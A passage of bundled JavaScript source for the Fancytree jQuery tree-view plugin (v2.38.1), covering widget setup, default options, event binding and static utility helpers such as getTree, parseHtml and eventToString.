								.removeAttr("DIR")
								.removeClass("fancytree-rtl");
						} else {
							tree.$container
								.attr("DIR", "RTL")
								.addClass("fancytree-rtl");
						}
						callRender = true;
						break;
					case "source":
						callDefault = false;
						tree._callHook("treeLoad", tree, value);
						callRender = true;
						break;
				}
				tree.debug(
					"set option " +
						key +
						"=" +
						value +
						" <" +
						typeof value +
						">"
				);
				if (callDefault) {
					if (this.widget._super) {
						// jQuery UI 1.9+
						this.widget._super.call(this.widget, key, value);
					} else {
						// jQuery UI <= 1.8, we have to manually invoke the _setOption method from the base widget
						$.Widget.prototype._setOption.call(
							this.widget,
							key,
							value
						);
					}
				}
				if (callCreate) {
					tree._callHook("treeCreate", tree);
				}
				if (callRender) {
					tree.render(true, false); // force, not-deep
				}
			},
			/** A Node was added, removed, moved, or it's visibility changed.
			 * @param {EventData} ctx
			 */
			treeStructureChanged: function (ctx, type) {},
		}
	);

	/*******************************************************************************
	 * jQuery UI widget boilerplate
	 */

	/**
	 * The plugin (derrived from [jQuery.Widget](http://api.jqueryui.com/jQuery.widget/)).
	 *
	 * **Note:**
	 * These methods implement the standard jQuery UI widget API.
	 * It is recommended to use methods of the {Fancytree} instance instead
	 *
	 * @example
	 * // DEPRECATED: Access jQuery UI widget methods and members:
	 * var tree = $("#tree").fancytree("getTree", "#myTree");
	 * var node = $.ui.fancytree.getTree("#tree").getActiveNode();
	 *
	 * // RECOMMENDED: Use the Fancytree object API
	 * var tree = $.ui.fancytree.getTree("#myTree");
	 * var node = tree.getActiveNode();
	 *
	 * // or you may already have stored the tree instance upon creation:
	 * import {createTree, version} from 'jquery.fancytree'
	 * const tree = createTree('#tree', { ... });
	 * var node = tree.getActiveNode();
	 *
	 * @see {Fancytree_Static#getTree}
	 * @deprecated Use methods of the {Fancytree} instance instead
	 * @mixin Fancytree_Widget
	 */

	$.widget(
		"ui.fancytree",
		/** @lends Fancytree_Widget# */
		{
			/**These options will be used as defaults
			 * @type {FancytreeOptions}
			 */
			options: {
				activeVisible: true,
				ajax: {
					type: "GET",
					cache: false, // false: Append random '_' argument to the request url to prevent caching.
					// timeout: 0, // >0: Make sure we get an ajax error if server is unreachable
					dataType: "json", // Expect json format and pass json object to callbacks.
				},
				aria: true,
				autoActivate: true,
				autoCollapse: false,
				autoScroll: false,
				checkbox: false,
				clickFolderMode: 4,
				copyFunctionsToData: false,
				debugLevel: null, // 0..4 (null: use global setting $.ui.fancytree.debugLevel)
				disabled: false, // TODO: required anymore?
				enableAspx: 42, // TODO: this is truethy, but distinguishable from true: default will change to false in the future
				escapeTitles: false,
				extensions: [],
				focusOnSelect: false,
				generateIds: false,
				icon: true,
				idPrefix: "ft_",
				keyboard: true,
				keyPathSeparator: "/",
				minExpandLevel: 1,
				nodata: true, // (bool, string, or callback) display message, when no data available
				quicksearch: false,
				rtl: false,
				scrollOfs: { top: 0, bottom: 0 },
				scrollParent: null,
				selectMode: 2,
				strings: {
					loading: "Loading...", // &#8230; would be escaped when escapeTitles is true
					loadError: "Load error!",
					moreData: "More...",
					noData: "No data.",
				},
				tabindex: "0",
				titlesTabbable: false,
				toggleEffect: { effect: "slideToggle", duration: 200 }, //< "toggle" or "slideToggle" to use jQuery instead of jQueryUI for toggleEffect animation
				tooltip: false,
				treeId: null,
				_classNames: {
					active: "fancytree-active",
					animating: "fancytree-animating",
					combinedExpanderPrefix: "fancytree-exp-",
					combinedIconPrefix: "fancytree-ico-",
					error: "fancytree-error",
					expanded: "fancytree-expanded",
					focused: "fancytree-focused",
					folder: "fancytree-folder",
					hasChildren: "fancytree-has-children",
					lastsib: "fancytree-lastsib",
					lazy: "fancytree-lazy",
					loading: "fancytree-loading",
					node: "fancytree-node",
					partload: "fancytree-partload",
					partsel: "fancytree-partsel",
					radio: "fancytree-radio",
					selected: "fancytree-selected",
					statusNodePrefix: "fancytree-statusnode-",
					unselectable: "fancytree-unselectable",
				},
				// events
				lazyLoad: null,
				postProcess: null,
			},
			_deprecationWarning: function (name) {
				var tree = this.tree;

				if (tree && tree.options.debugLevel >= 3) {
					tree.warn(
						"$().fancytree('" +
							name +
							"') is deprecated (see https://wwwendt.de/tech/fancytree/doc/jsdoc/Fancytree_Widget.html"
					);
				}
			},
			/* Set up the widget, Called on first $().fancytree() */
			_create: function () {
				this.tree = new Fancytree(this);

				this.$source =
					this.source || this.element.data("type") === "json"
						? this.element
						: this.element.find(">ul").first();
				// Subclass Fancytree instance with all enabled extensions
				var extension,
					extName,
					i,
					opts = this.options,
					extensions = opts.extensions,
					base = this.tree;

				for (i = 0; i < extensions.length; i++) {
					extName = extensions[i];
					extension = $.ui.fancytree._extensions[extName];
					if (!extension) {
						$.error(
							"Could not apply extension '" +
								extName +
								"' (it is not registered, did you forget to include it?)"
						);
					}
					// Add extension options as tree.options.EXTENSION
					// 	_assert(!this.tree.options[extName], "Extension name must not exist as option name: " + extName);

					// console.info("extend " + extName, extension.options, this.tree.options[extName])
					// issue #876: we want to replace custom array-options, not merge them
					this.tree.options[extName] = _simpleDeepMerge(
						{},
						extension.options,
						this.tree.options[extName]
					);
					// this.tree.options[extName] = $.extend(true, {}, extension.options, this.tree.options[extName]);

					// console.info("extend " + extName + " =>", this.tree.options[extName])
					// console.info("extend " + extName + " org default =>", extension.options)

					// Add a namespace tree.ext.EXTENSION, to hold instance data
					_assert(
						this.tree.ext[extName] === undefined,
						"Extension name must not exist as Fancytree.ext attribute: '" +
							extName +
							"'"
					);
					// this.tree[extName] = extension;
					this.tree.ext[extName] = {};
					// Subclass Fancytree methods using proxies.
					_subclassObject(this.tree, base, extension, extName);
					// current extension becomes base for the next extension
					base = extension;
				}
				//
				if (opts.icons !== undefined) {
					// 2015-11-16
					if (opts.icon === true) {
						this.tree.warn(
							"'icons' tree option is deprecated since v2.14.0: use 'icon' instead"
						);
						opts.icon = opts.icons;
					} else {
						$.error(
							"'icons' tree option is deprecated since v2.14.0: use 'icon' only instead"
						);
					}
				}
				if (opts.iconClass !== undefined) {
					// 2015-11-16
					if (opts.icon) {
						$.error(
							"'iconClass' tree option is deprecated since v2.14.0: use 'icon' only instead"
						);
					} else {
						this.tree.warn(
							"'iconClass' tree option is deprecated since v2.14.0: use 'icon' instead"
						);
						opts.icon = opts.iconClass;
					}
				}
				if (opts.tabbable !== undefined) {
					// 2016-04-04
					opts.tabindex = opts.tabbable ? "0" : "-1";
					this.tree.warn(
						"'tabbable' tree option is deprecated since v2.17.0: use 'tabindex='" +
							opts.tabindex +
							"' instead"
					);
				}
				//
				this.tree._callHook("treeCreate", this.tree);
				// Note: 'fancytreecreate' event is fired by widget base class
				//        this.tree._triggerTreeEvent("create");
			},

			/* Called on every $().fancytree() */
			_init: function () {
				this.tree._callHook("treeInit", this.tree);
				// TODO: currently we call bind after treeInit, because treeInit
				// might change tree.$container.
				// It would be better, to move event binding into hooks altogether
				this._bind();
			},

			/* Use the _setOption method to respond to changes to options. */
			_setOption: function (key, value) {
				return this.tree._callHook(
					"treeSetOption",
					this.tree,
					key,
					value
				);
			},

			/** Use the destroy method to clean up any modifications your widget has made to the DOM */
			_destroy: function () {
				this._unbind();
				this.tree._callHook("treeDestroy", this.tree);
				// In jQuery UI 1.8, you must invoke the destroy method from the base widget
				// $.Widget.prototype.destroy.call(this);
				// TODO: delete tree and nodes to make garbage collect easier?
				// TODO: In jQuery UI 1.9 and above, you would define _destroy instead of destroy and not call the base method
			},

			// -------------------------------------------------------------------------

			/* Remove all event handlers for our namespace */
			_unbind: function () {
				var ns = this.tree._ns;
				this.element.off(ns);
				this.tree.$container.off(ns);
				$(document).off(ns);
			},
			/* Add mouse and kyboard handlers to the container */
			_bind: function () {
				var self = this,
					opts = this.options,
					tree = this.tree,
					ns = tree._ns;
				// selstartEvent = ( $.support.selectstart ? "selectstart" : "mousedown" )

				// Remove all previuous handlers for this tree
				this._unbind();

				//alert("keydown" + ns + "foc=" + tree.hasFocus() + tree.$container);
				// tree.debug("bind events; container: ", tree.$container);
				tree.$container
					.on("focusin" + ns + " focusout" + ns, function (event) {
						var node = FT.getNode(event),
							flag = event.type === "focusin";

						if (!flag && node && $(event.target).is("a")) {
							// #764
							node.debug(
								"Ignored focusout on embedded <a> element."
							);
							return;
						}
						// tree.treeOnFocusInOut.call(tree, event);
						// tree.debug("Tree container got event " + event.type, node, event, FT.getEventTarget(event));
						if (flag) {
							if (tree._getExpiringValue("focusin")) {
								// #789: IE 11 may send duplicate focusin events
								tree.debug("Ignored double focusin.");
								return;
							}
							tree._setExpiringValue("focusin", true, 50);

							if (!node) {
								// #789: IE 11 may send focusin before mousdown(?)
								node = tree._getExpiringValue("mouseDownNode");
								if (node) {
									tree.debug(
										"Reconstruct mouse target for focusin from recent event."
									);
								}
							}
						}
						if (node) {
							// For example clicking into an <input> that is part of a node
							tree._callHook(
								"nodeSetFocus",
								tree._makeHookContext(node, event),
								flag
							);
						} else {
							if (
								tree.tbody &&
								$(event.target).parents(
									"table.fancytree-container > thead"
								).length
							) {
								// #767: ignore events in the table's header
								tree.debug(
									"Ignore focus event outside table body.",
									event
								);
							} else {
								tree._callHook("treeSetFocus", tree, flag);
							}
						}
					})
					.on(
						"selectstart" + ns,
						"span.fancytree-title",
						function (event) {
							// prevent mouse-drags to select text ranges
							// tree.debug("<span title> got event " + event.type);
							event.preventDefault();
						}
					)
					.on("keydown" + ns, function (event) {
						// TODO: also bind keyup and keypress
						// tree.debug("got event " + event.type + ", hasFocus:" + tree.hasFocus());
						// if(opts.disabled || opts.keyboard === false || !tree.hasFocus() ){
						if (opts.disabled || opts.keyboard === false) {
							return true;
						}
						var res,
							node = tree.focusNode, // node may be null
							ctx = tree._makeHookContext(node || tree, event),
							prevPhase = tree.phase;

						try {
							tree.phase = "userEvent";
							// If a 'fancytreekeydown' handler returns false, skip the default
							// handling (implemented by tree.nodeKeydown()).
							if (node) {
								res = tree._triggerNodeEvent(
									"keydown",
									node,
									event
								);
							} else {
								res = tree._triggerTreeEvent("keydown", event);
							}
							if (res === "preventNav") {
								res = true; // prevent keyboard navigation, but don't prevent default handling of embedded input controls
							} else if (res !== false) {
								res = tree._callHook("nodeKeydown", ctx);
							}
							return res;
						} finally {
							tree.phase = prevPhase;
						}
					})
					.on("mousedown" + ns, function (event) {
						var et = FT.getEventTarget(event);
						// self.tree.debug("event(" + event.type + "): node: ", et.node);
						// #712: Store the clicked node, so we can use it when we get a focusin event
						//       ('click' event fires after focusin)
						// tree.debug("event(" + event.type + "): node: ", et.node);
						tree._lastMousedownNode = et ? et.node : null;
						// #789: Store the node also for a short period, so we can use it
						// in a *resulting* focusin event
						tree._setExpiringValue(
							"mouseDownNode",
							tree._lastMousedownNode
						);
					})
					.on("click" + ns + " dblclick" + ns, function (event) {
						if (opts.disabled) {
							return true;
						}
						var ctx,
							et = FT.getEventTarget(event),
							node = et.node,
							tree = self.tree,
							prevPhase = tree.phase;

						// self.tree.debug("event(" + event.type + "): node: ", node);
						if (!node) {
							return true; // Allow bubbling of other events
						}
						ctx = tree._makeHookContext(node, event);
						// self.tree.debug("event(" + event.type + "): node: ", node);
						try {
							tree.phase = "userEvent";
							switch (event.type) {
								case "click":
									ctx.targetType = et.type;
									if (node.isPagingNode()) {
										return (
											tree._triggerNodeEvent(
												"clickPaging",
												ctx,
												event
											) === true
										);
									}
									return tree._triggerNodeEvent(
										"click",
										ctx,
										event
									) === false
										? false
										: tree._callHook("nodeClick", ctx);
								case "dblclick":
									ctx.targetType = et.type;
									return tree._triggerNodeEvent(
										"dblclick",
										ctx,
										event
									) === false
										? false
										: tree._callHook("nodeDblclick", ctx);
							}
						} finally {
							tree.phase = prevPhase;
						}
					});
			},
			/** Return the active node or null.
			 * @returns {FancytreeNode}
			 * @deprecated Use methods of the Fancytree instance instead (<a href="Fancytree_Widget.html">example above</a>).
			 */
			getActiveNode: function () {
				this._deprecationWarning("getActiveNode");
				return this.tree.activeNode;
			},
			/** Return the matching node or null.
			 * @param {string} key
			 * @returns {FancytreeNode}
			 * @deprecated Use methods of the Fancytree instance instead (<a href="Fancytree_Widget.html">example above</a>).
			 */
			getNodeByKey: function (key) {
				this._deprecationWarning("getNodeByKey");
				return this.tree.getNodeByKey(key);
			},
			/** Return the invisible system root node.
			 * @returns {FancytreeNode}
			 * @deprecated Use methods of the Fancytree instance instead (<a href="Fancytree_Widget.html">example above</a>).
			 */
			getRootNode: function () {
				this._deprecationWarning("getRootNode");
				return this.tree.rootNode;
			},
			/** Return the current tree instance.
			 * @returns {Fancytree}
			 * @deprecated Use `$.ui.fancytree.getTree()` instead (<a href="Fancytree_Widget.html">example above</a>).
			 */
			getTree: function () {
				this._deprecationWarning("getTree");
				return this.tree;
			},
		}
	);

	// $.ui.fancytree was created by the widget factory. Create a local shortcut:
	FT = $.ui.fancytree;

	/**
	 * Static members in the `$.ui.fancytree` namespace.
	 * This properties and methods can be accessed without instantiating a concrete
	 * Fancytree instance.
	 *
	 * @example
	 * // Access static members:
	 * var node = $.ui.fancytree.getNode(element);
	 * alert($.ui.fancytree.version);
	 *
	 * @mixin Fancytree_Static
	 */
	$.extend(
		$.ui.fancytree,
		/** @lends Fancytree_Static# */
		{
			/** Version number `"MAJOR.MINOR.PATCH"`
			 * @type {string} */
			version: "2.38.1", // Set to semver by 'grunt release'
			/** @type {string}
			 * @description `"production" for release builds` */
			buildType: "production", // Set to 'production' by 'grunt build'
			/** @type {int}
			 * @description 0: silent .. 5: verbose (default: 3 for release builds). */
			debugLevel: 3, // Set to 3 by 'grunt build'
			// Used by $.ui.fancytree.debug() and as default for tree.options.debugLevel

			_nextId: 1,
			_nextNodeKey: 1,
			_extensions: {},
			// focusTree: null,

			/** Expose class object as `$.ui.fancytree._FancytreeClass`.
			 * Useful to extend `$.ui.fancytree._FancytreeClass.prototype`.
			 * @type {Fancytree}
			 */
			_FancytreeClass: Fancytree,
			/** Expose class object as $.ui.fancytree._FancytreeNodeClass
			 * Useful to extend `$.ui.fancytree._FancytreeNodeClass.prototype`.
			 * @type {FancytreeNode}
			 */
			_FancytreeNodeClass: FancytreeNode,
			/* Feature checks to provide backwards compatibility */
			jquerySupports: {
				// http://jqueryui.com/upgrade-guide/1.9/#deprecated-offset-option-merged-into-my-and-at
				positionMyOfs: isVersionAtLeast($.ui.version, 1, 9),
			},
			/** Throw an error if condition fails (debug method).
			 * @param {boolean} cond
			 * @param {string} msg
			 */
			assert: function (cond, msg) {
				return _assert(cond, msg);
			},
			/** Create a new Fancytree instance on a target element.
			 *
			 * @param {Element | jQueryObject | string} el Target DOM element or selector
			 * @param {FancytreeOptions} [opts] Fancytree options
			 * @returns {Fancytree} new tree instance
			 * @example
			 * var tree = $.ui.fancytree.createTree("#tree", {
			 *     source: {url: "my/webservice"}
			 * }); // Create tree for this matching element
			 *
			 * @since 2.25
			 */
			createTree: function (el, opts) {
				var $tree = $(el).fancytree(opts);
				return FT.getTree($tree);
			},
			/** Return a function that executes *fn* at most every *timeout* ms.
			 * @param {integer} timeout
			 * @param {function} fn
			 * @param {boolean} [invokeAsap=false]
			 * @param {any} [ctx]
			 */
			debounce: function (timeout, fn, invokeAsap, ctx) {
				var timer;
				if (arguments.length === 3 && typeof invokeAsap !== "boolean") {
					ctx = invokeAsap;
					invokeAsap = false;
				}
				return function () {
					var args = arguments;
					ctx = ctx || this;
					// eslint-disable-next-line no-unused-expressions
					invokeAsap && !timer && fn.apply(ctx, args);
					clearTimeout(timer);
					timer = setTimeout(function () {
						// eslint-disable-next-line no-unused-expressions
						invokeAsap || fn.apply(ctx, args);
						timer = null;
					}, timeout);
				};
			},
			/** Write message to console if debugLevel >= 4
			 * @param {string} msg
			 */
			debug: function (msg) {
				if ($.ui.fancytree.debugLevel >= 4) {
					consoleApply("log", arguments);
				}
			},
			/** Write error message to console if debugLevel >= 1.
			 * @param {string} msg
			 */
			error: function (msg) {
				if ($.ui.fancytree.debugLevel >= 1) {
					consoleApply("error", arguments);
				}
			},
			/** Convert `<`, `>`, `&`, `"`, `'`, and `/` to the equivalent entities.
			 *
			 * @param {string} s
			 * @returns {string}
			 */
			escapeHtml: function (s) {
				return ("" + s).replace(REX_HTML, function (s) {
					return ENTITY_MAP[s];
				});
			},
			/** Make jQuery.position() arguments backwards compatible, i.e. if
			 * jQuery UI version <= 1.8, convert
			 *   { my: "left+3 center", at: "left bottom", of: $target }
			 * to
			 *   { my: "left center", at: "left bottom", of: $target, offset: "3  0" }
			 *
			 * See http://jqueryui.com/upgrade-guide/1.9/#deprecated-offset-option-merged-into-my-and-at
			 * and http://jsfiddle.net/mar10/6xtu9a4e/
			 *
			 * @param {object} opts
			 * @returns {object} the (potentially modified) original opts hash object
			 */
			fixPositionOptions: function (opts) {
				if (opts.offset || ("" + opts.my + opts.at).indexOf("%") >= 0) {
					$.error(
						"expected new position syntax (but '%' is not supported)"
					);
				}
				if (!$.ui.fancytree.jquerySupports.positionMyOfs) {
					var // parse 'left+3 center' into ['left+3 center', 'left', '+3', 'center', undefined]
						myParts = /(\w+)([+-]?\d+)?\s+(\w+)([+-]?\d+)?/.exec(
							opts.my
						),
						atParts = /(\w+)([+-]?\d+)?\s+(\w+)([+-]?\d+)?/.exec(
							opts.at
						),
						// convert to numbers
						dx =
							(myParts[2] ? +myParts[2] : 0) +
							(atParts[2] ? +atParts[2] : 0),
						dy =
							(myParts[4] ? +myParts[4] : 0) +
							(atParts[4] ? +atParts[4] : 0);

					opts = $.extend({}, opts, {
						// make a copy and overwrite
						my: myParts[1] + " " + myParts[3],
						at: atParts[1] + " " + atParts[3],
					});
					if (dx || dy) {
						opts.offset = "" + dx + " " + dy;
					}
				}
				return opts;
			},
			/** Return a {node: FancytreeNode, type: TYPE} object for a mouse event.
			 *
			 * @param {Event} event Mouse event, e.g. click, ...
			 * @returns {object} Return a {node: FancytreeNode, type: TYPE} object
			 *     TYPE: 'title' | 'prefix' | 'expander' | 'checkbox' | 'icon' | undefined
			 */
			getEventTarget: function (event) {
				var $target,
					tree,
					tcn = event && event.target ? event.target.className : "",
					res = { node: this.getNode(event.target), type: undefined };
				// We use a fast version of $(res.node).hasClass()
				// See http://jsperf.com/test-for-classname/2
				if (/\bfancytree-title\b/.test(tcn)) {
					res.type = "title";
				} else if (/\bfancytree-expander\b/.test(tcn)) {
					res.type =
						res.node.hasChildren() === false
							? "prefix"
							: "expander";
					// }else if( /\bfancytree-checkbox\b/.test(tcn) || /\bfancytree-radio\b/.test(tcn) ){
				} else if (/\bfancytree-checkbox\b/.test(tcn)) {
					res.type = "checkbox";
				} else if (/\bfancytree(-custom)?-icon\b/.test(tcn)) {
					res.type = "icon";
				} else if (/\bfancytree-node\b/.test(tcn)) {
					// Somewhere near the title
					res.type = "title";
				} else if (event && event.target) {
					$target = $(event.target);
					if ($target.is("ul[role=group]")) {
						// #nnn: Clicking right to a node may hit the surrounding UL
						tree = res.node && res.node.tree;
						(tree || FT).debug("Ignoring click on outer UL.");
						res.node = null;
					} else if ($target.closest(".fancytree-title").length) {
						// #228: clicking an embedded element inside a title
						res.type = "title";
					} else if ($target.closest(".fancytree-checkbox").length) {
						// E.g. <svg> inside checkbox span
						res.type = "checkbox";
					} else if ($target.closest(".fancytree-expander").length) {
						res.type = "expander";
					}
				}
				return res;
			},
			/** Return a string describing the affected node region for a mouse event.
			 *
			 * @param {Event} event Mouse event, e.g. click, mousemove, ...
			 * @returns {string} 'title' | 'prefix' | 'expander' | 'checkbox' | 'icon' | undefined
			 */
			getEventTargetType: function (event) {
				return this.getEventTarget(event).type;
			},
			/** Return a FancytreeNode instance from element, event, or jQuery object.
			 *
			 * @param {Element | jQueryObject | Event} el
			 * @returns {FancytreeNode} matching node or null
			 */
			getNode: function (el) {
				if (el instanceof FancytreeNode) {
					return el; // el already was a FancytreeNode
				} else if (el instanceof $) {
					el = el[0]; // el was a jQuery object: use the DOM element
				} else if (el.originalEvent !== undefined) {
					el = el.target; // el was an Event
				}
				while (el) {
					if (el.ftnode) {
						return el.ftnode;
					}
					el = el.parentNode;
				}
				return null;
			},
			/** Return a Fancytree instance, from element, index, event, or jQueryObject.
			 *
			 * @param {Element | jQueryObject | Event | integer | string} [el]
			 * @returns {Fancytree} matching tree or null
			 * @example
			 * $.ui.fancytree.getTree();  // Get first Fancytree instance on page
			 * $.ui.fancytree.getTree(1);  // Get second Fancytree instance on page
			 * $.ui.fancytree.getTree(event);  // Get tree for this mouse- or keyboard event
			 * $.ui.fancytree.getTree("foo");  // Get tree for this `opts.treeId`
			 * $.ui.fancytree.getTree("#tree");  // Get tree for this matching element
			 *
			 * @since 2.13
			 */
			getTree: function (el) {
				var widget,
					orgEl = el;

				if (el instanceof Fancytree) {
					return el; // el already was a Fancytree
				}
				if (el === undefined) {
					el = 0; // get first tree
				}
				if (typeof el === "number") {
					el = $(".fancytree-container").eq(el); // el was an integer: return nth instance
				} else if (typeof el === "string") {
					// `el` may be a treeId or a selector:
					el = $("#ft-id-" + orgEl).eq(0);
					if (!el.length) {
						el = $(orgEl).eq(0); // el was a selector: use first match
					}
				} else if (
					el instanceof Element ||
					el instanceof HTMLDocument
				) {
					el = $(el);
				} else if (el instanceof $) {
					el = el.eq(0); // el was a jQuery object: use the first
				} else if (el.originalEvent !== undefined) {
					el = $(el.target); // el was an Event
				}
				// el is a jQuery object wit one element here
				el = el.closest(":ui-fancytree");
				widget = el.data("ui-fancytree") || el.data("fancytree"); // the latter is required by jQuery <= 1.8
				return widget ? widget.tree : null;
			},
			/** Return an option value that has a default, but may be overridden by a
			 * callback or a node instance attribute.
			 *
			 * Evaluation sequence:
			 *
			 * If `tree.options.<optionName>` is a callback that returns something, use that.
			 * Else if `node.<optionName>` is defined, use that.
			 * Else if `tree.options.<optionName>` is a value, use that.
			 * Else use `defaultValue`.
			 *
			 * @param {string} optionName name of the option property (on node and tree)
			 * @param {FancytreeNode} node passed to the callback
			 * @param {object} nodeObject where to look for the local option property, e.g. `node` or `node.data`
			 * @param {object} treeOption where to look for the tree option, e.g. `tree.options` or `tree.options.dnd5`
			 * @param {any} [defaultValue]
			 * @returns {any}
			 *
			 * @example
			 * // Check for node.foo, tree,options.foo(), and tree.options.foo:
			 * $.ui.fancytree.evalOption("foo", node, node, tree.options);
			 * // Check for node.data.bar, tree,options.qux.bar(), and tree.options.qux.bar:
			 * $.ui.fancytree.evalOption("bar", node, node.data, tree.options.qux);
			 *
			 * @since 2.22
			 */
			evalOption: function (
				optionName,
				node,
				nodeObject,
				treeOptions,
				defaultValue
			) {
				var ctx,
					res,
					tree = node.tree,
					treeOpt = treeOptions[optionName],
					nodeOpt = nodeObject[optionName];

				if (_isFunction(treeOpt)) {
					ctx = {
						node: node,
						tree: tree,
						widget: tree.widget,
						options: tree.widget.options,
						typeInfo: tree.types[node.type] || {},
					};
					res = treeOpt.call(tree, { type: optionName }, ctx);
					if (res == null) {
						res = nodeOpt;
					}
				} else {
					res = nodeOpt == null ? treeOpt : nodeOpt;
				}
				if (res == null) {
					res = defaultValue; // no option set at all: return default
				}
				return res;
			},
			/** Set expander, checkbox, or node icon, supporting string and object format.
			 *
			 * @param {Element | jQueryObject} span
			 * @param {string} baseClass
			 * @param {string | object} icon
			 * @since 2.27
			 */
			setSpanIcon: function (span, baseClass, icon) {
				var $span = $(span);

				if (typeof icon === "string") {
					$span.attr("class", baseClass + " " + icon);
				} else {
					// support object syntax: { text: ligature, addClasse: classname }
					if (icon.text) {
						$span.text("" + icon.text);
					} else if (icon.html) {
						span.innerHTML = icon.html;
					}
					$span.attr(
						"class",
						baseClass + " " + (icon.addClass || "")
					);
				}
			},
			/** Convert a keydown or mouse event to a canonical string like 'ctrl+a',
			 * 'ctrl+shift+f2', 'shift+leftdblclick'.
			 *
			 * This is especially handy for switch-statements in event handlers.
			 *
			 * @param {event}
			 * @returns {string}
			 *
			 * @example

			switch( $.ui.fancytree.eventToString(event) ) {
				case "-":
					tree.nodeSetExpanded(ctx, false);
					break;
				case "shift+return":
					tree.nodeSetActive(ctx, true);
					break;
				case "down":
					res = node.navigate(event.which, activate);
					break;
				default:
					handled = false;
			}
			if( handled ){
				event.preventDefault();
			}
			*/
			eventToString: function (event) {
				// Poor-man's hotkeys. See here for a complete implementation:
				//   https://github.com/jeresig/jquery.hotkeys
				var which = event.which,
					et = event.type,
					s = [];

				if (event.altKey) {
					s.push("alt");
				}
				if (event.ctrlKey) {
					s.push("ctrl");
				}
				if (event.metaKey) {
					s.push("meta");
				}
				if (event.shiftKey) {
					s.push("shift");
				}

				if (et === "click" || et === "dblclick") {
					s.push(MOUSE_BUTTONS[event.button] + et);
				} else if (et === "wheel") {
					s.push(et);
				} else if (!IGNORE_KEYCODES[which]) {
					s.push(
						SPECIAL_KEYCODES[which] ||
							String.fromCharCode(which).toLowerCase()
					);
				}
				return s.join("+");
			},
			/** Write message to console if debugLevel >= 3
			 * @param {string} msg
			 */
			info: function (msg) {
				if ($.ui.fancytree.debugLevel >= 3) {
					consoleApply("info", arguments);
				}
			},
			/* @deprecated: use eventToString(event) instead.
			 */
			keyEventToString: function (event) {
				this.warn(
					"keyEventToString() is deprecated: use eventToString()"
				);
				return this.eventToString(event);
			},
			/** Return a wrapped handler method, that provides `this._super`.
			 *
			 * @example
				// Implement `opts.createNode` event to add the 'draggable' attribute
				$.ui.fancytree.overrideMethod(ctx.options, "createNode", function(event, data) {
					// Default processing if any
					this._super.apply(this, arguments);
					// Add 'draggable' attribute
					data.node.span.draggable = true;
				});
			 *
			 * @param {object} instance
			 * @param {string} methodName
			 * @param {function} handler
			 * @param {object} [context] optional context
			 */
			overrideMethod: function (instance, methodName, handler, context) {
				var prevSuper,
					_super = instance[methodName] || $.noop;

				instance[methodName] = function () {
					var self = context || this;

					try {
						prevSuper = self._super;
						self._super = _super;
						return handler.apply(self, arguments);
					} finally {
						self._super = prevSuper;
					}
				};
			},
			/**
			 * Parse tree data from HTML <ul> markup
			 *
			 * @param {jQueryObject} $ul
			 * @returns {NodeData[]}
			 */
			parseHtml: function ($ul) {
				var classes,
					className,
					extraClasses,
					i,
					iPos,
					l,
					tmp,
					tmp2,
					$children = $ul.find(">li"),
					children = [];

				$children.each(function () {
					var allData,
						lowerCaseAttr,
						$li = $(this),
						$liSpan = $li.find(">span", this).first(),
						$liA = $liSpan.length ? null : $li.find(">a").first(),
						d = { tooltip: null, data: {} };

					if ($liSpan.length) {
						d.title = $liSpan.html();
					} else if ($liA && $liA.length) {
						// If a <li><a> tag is specified, use it literally and extract href/target.
						d.title = $liA.html();
						d.data.href = $liA.attr("href");
						d.data.target = $liA.attr("target");
						d.tooltip = $liA.attr("title");
					} else {
						// If only a <li> tag is specified, use the trimmed string up to
						// the next child <ul> tag.
						d.title = $li.html();
						iPos = d.title.search(/<ul/i);
						if (iPos >= 0) {
							d.title = d.title.substring(0, iPos);
						}
					}
					d.title = _trim(d.title);

					// Make sure all fields exist
					for (i = 0, l = CLASS_ATTRS.length; i < l; i++) {
						d[CLASS_ATTRS[i]] = undefined;
					}
					// Initialize to `true`, if class is set and collect extraClasses
					classes = this.className.split(" ");
					extraClasses = [];
					for (i = 0, l = classes.length; i < l; i++) {
						className = classes[i];
						if (CLASS_ATTR_MAP[className]) {
							d[className] = true;
						} else {
							extraClasses.push(className);
						}
					}
					d.extraClasses = extraClasses.join(" ");

					// Parse node options from ID, title and class attributes
					tmp = $li.attr("title");
					if (tmp) {
						d.tooltip = tmp; // overrides <a title='...'>
					}
					tmp = $li.attr("id");
					if (tmp) {
						d.key = tmp;
					}
					// Translate hideCheckbox -> checkbox:false
					if ($li.attr("hideCheckbox")) {
						d.checkbox = false;
					}
					// Add <li data-NAME='...'> as node.data.NAME
					allData = _getElementDataAsDict($li);
					if (allData && !$.isEmptyObject(allData)) {
						// #507: convert data-hidecheckbox (lower case) to hideCheckbox
						for (lowerCaseAttr in NODE_ATTR_LOWERCASE_MAP) {
							if (_hasProp(allData, lowerCaseAttr)) {
								allData[
									NODE_ATTR_LOWERCASE_MAP[lowerCaseAttr]
								] = allData[lowerCaseAttr];
								delete allData[lowerCaseAttr];
							}
						}
						// #56: Allow to set special node.attributes from data-...
						for (i = 0, l = NODE_ATTRS.length; i < l; i++) {
							tmp = NODE_ATTRS[i];
							tmp2 = allData[tmp];
							if (tmp2 != null) {
								delete allData[tmp];
								d[tmp] = tmp2;
							}
						}
						// All other data-... goes to node.data...
						$.extend(d.data, allData);
					}
					// Recursive reading of child nodes, if LI tag contains an UL tag
					$ul = $li.find(">ul").first();
					if ($ul.length) {
						d.children = $.ui.fancytree.parseHtml($ul);
					} else {
						d.children = d.lazy ? undefined : null;
					}
					children.push(d);
					// FT.debug("parse ", d, children);
				});
				return children;
			},
			/** Add Fancytree extension definition to the list of globally available extensions.
			 *
			 * @param {object} definition
			 */
			registerExtension: function (definition) {
				_assert(
					definition.name != null,
					"extensions must have a `name` property."
				);
				_assert(
					definition.version != null,
					"extensions must have a `version` property."
				);
				$.ui.fancytree._extensions[definition.name] = definition;
			},
			/** Replacement for the deprecated `jQuery.trim()`.
			 *
			 * @param {string} text
			 */
			trim: _trim,
			/** Inverse of escapeHtml().
			 *
			 * @param {string} s
			 * @returns {string}
			 */
			unescapeHtml: function (s) {
				var e = document.createElement("div");
				e.innerHTML = s;
				return e.childNodes.length === 0
					? ""
					: e.childNodes[0].nodeValue;
			},
			/** Write warning message to console if debugLevel >= 2.
			 * @param {string} msg
			 */
			warn: function (msg) {
				if ($.ui.fancytree.debugLevel >= 2) {
					consoleApply("warn", arguments);
				}
			},
		}
	);

	// Value returned by `require('jquery.fancytree')`
	return $.ui.fancytree;
}); // End of closure


/***/ }),

/***/ 495:
/***/ ((module, exports, __webpack_require__) => {

